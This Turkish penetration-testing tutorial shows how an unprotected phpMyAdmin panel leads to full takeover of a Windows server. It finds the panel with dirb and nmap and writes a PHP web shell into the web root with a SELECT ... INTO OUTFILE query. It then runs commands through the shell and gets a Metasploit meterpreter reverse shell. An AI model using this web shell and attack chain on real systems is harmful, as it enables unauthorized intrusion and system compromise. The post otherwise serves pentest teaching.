phpMyAdmin to Reverse Shell

phpMyAdmin kullanılarak sistem ele geçirilmesi

Bu yazımızda phpMyAdmin kullanan bir sistemin nasıl ele geçirilebileceğini anlatacağım. Yazı tamamen profesyonel hayatta yapılan çalışmalarım sonucunda elde ettiğim tecrübelere dayanarak hazırlanmıştır. Böyle bir sistem olmaz, şifresiz phpMyAdmin mi tutulur gibi düşüncelere kapılabilirsiniz. Ancak pek çok kere karşılaştığım bir senaryodur. Şifresiz veya default şifre ile bırakılan phpMyAdmin uygulaması üzerinden Windows sistemler nasıl ele geçirilir ondan bahsedeceğim.

Hedef makine üzerinde phpymadmin çalıştığını tespit etmek için kullanabileceğimiz birkaç farklı yöntem bulunmaktadır.

1- Web sayfasını tespit ettiğimiz url üzerinde bir URL Fuzzer kullanabiliriz. Örn:

– Dirb, dirbuster gibi uygulamaları kullanabiliriz. Kullanımı:

Kali Linux terminal ekranında dirb http://<ipaddress>:port

– Dirbuster kullanımı ekran görüntüsü ile anlatılmıştır:

 

2- Nmap scriptleri ile :

                    nmap –oA http-enum-results –script=http-enum <host/ip>  

 

3- Otomatik tarama toolları kullanarak. Örn: Nessus, Acunetix vs. Bu başlık ile ilgili görsel koymayacağım, kullananalarınız varsa zaten apaçık bir şekilde Nessus vb uygulamalar size burada phpMyAdmin çalışıyor diye uyarı çıkarıyor.   

Tespit edilen phpMyAdmin uygulamasına giriş yapıldıktan sonra önemli olan taraf başlıyor. phpMyAdmin veritabanı yönetimini kolaylaştırmak için kullanılan bir uygulamadır. Bu da demek oluyor ki phpMyAdmin kullanarak her türlü veritabanı sorgusunu yapabiliriz. Veritabanına direk erişmemize gerek yoktur. Benim uyguladığım senaryoda phpMyAdmin arayüzüne şifresiz giriş yapılabilmektedir. Bu kadarı da olmaz diyebilirsiniz ancak daha önce defalarca karşılaştığım bir durum bu.

 

 

Databasede herhangi bir veri tutmadığım için solda gördüğünüz dblerin içinde default veriler bulunmaktadır. Direk konuya geçmek gerekirse burdan sonra yapacağımız ilk işlem, bir database sorgusu ile hedef makineye zararlı bir kod enjekte etmektir.

Öncelikle yeni bir db oluşturalım. (Test esnasında herhangi bir database’e müdahale etmek risklidir. Bu yüzden kendi test database’mizi oluşturup o db üzerinde işlemlerimize devam edeceğiz.)

 

Oluşturduğumuz bu db üzerinde sql sorgusu yazacağız. PhpMyAdmin’de hemen üst sekmede görebileceğiniz SQL sekmesine gelerek SQL sorgusu yazabilirsiniz. Yazacağımız bu sql sorgusu ile hedef makineye bir zararlı kod enjekte edeceğiz. Enjekte edilen bu zararlı kodun daha sonra tetiklenmesi gerekmektedir. Bu yüzden daha önce IIS web server kurmuş olanlar bilir, IIS serverlarda web sayfası default olarak C:/inetpub/wwwroot/ dizininde tutulur. Kodumuzu bu dizine enjekte etmeliyiz ki daha sonra tetikleyebilelim.

Attığımız database sorgusu şu şekildedir:

SELECT “<?php system($_GET[‘cmd’]); ?>” INTO OUTFILE “C:\\inetpub\\wwwroot\\test.php”

Burada dikkat edilmesi gereken şudur. Eğer IIS Server çalışıyorsa yukarıdaki dizin geçerlidir. Eğer Windows Server üzerinde apache çalışıyorsa burada farklı parametreler devreye girmektedir. Mesela, apache server xampp aracılığı ile çalıştırılıyorsa dizin  “C:\\xampp\htdocs\\test.php” şeklinde olmalıdır. Farklı bir uygulama ile deploy edilmişse apache o zaman dizin farklı bir şekilde olmalıdır.

Kodumuzu enjekte ettikten sonra gidip tetiklememiz gerekiyor. Kısaca kodun ne iş yaptığından bahsetmek gerekirse, çok basic bir php kodu, cmd parametresine verdiğiniz sistem komutlarını sistem üzerinde çalıştırıyor. Yani ben http://192.168.163.163/test.php?cmd=dir yazarsam bana test.php scriptimin olduğu klasörü listeleyecektir.

Gördüğünüz gibi sistem üzerinde komut çalıştırabiliyorum. Burdan sonrası sizin hayal gücünüze kalmış. Ancak ben karşı sistemi ele geçirmeye yönelik birkaç hamle daha yapacağım. Bunun için Kali Linux üzerinde msfconsole kullanacağım.

Msfconsole üzerinde exploit/multi/scrpt/web_delivery modulunu kullanarak zararlı bir yazılım oluşturup zaten sahip olduğum cmd ekranında bu zararlı scriptin çalıştırılmasını sağlayacağım. Bu sayede sistemi ele geçireceğim.

Exploit optionları:

Target olarak 2 yi seçiyorum. Show targets dediğinizde 2. Seçeneğin powershell olduğunu görürsünüz.

Default olarak yüklü gelen python payloadı powershell targeti ile çalışmayacağı için payloadımı:

Windows/meterpreter/reverse_tcp olarak ayarlıyorum. Lhost ve lportu da ayarladıktan sonra exploiti çalıştırabilirm.

Msfconsolun bize verdiği urlyi sahip olduğumuz cmd webshell de çalıştırdığımız zaman hedef sistemi ele geçirmiş olacağız.

Görüğünüz gibi sistem ele geçirilmiştir. Buradaki senaryo tamamen gerçek hayattan örnek alınarak hazırlanmıştır. Sızma testleri esnasında sıkça karşılaşılabilinecek bir durumdur. phpMyAdmin paneline şifresiz login olunması yada şifrenin tahmin edilebilir olması gibi durumlar mevcut sistemlerde karşınıza çıkacaktır.

Burada yapılan işlemlerin tamamı eğitim amaçlıdır. Herhangi bir şekilde kötüye kullanımından sitemiz ve yazar sorumlu değildir.

Salute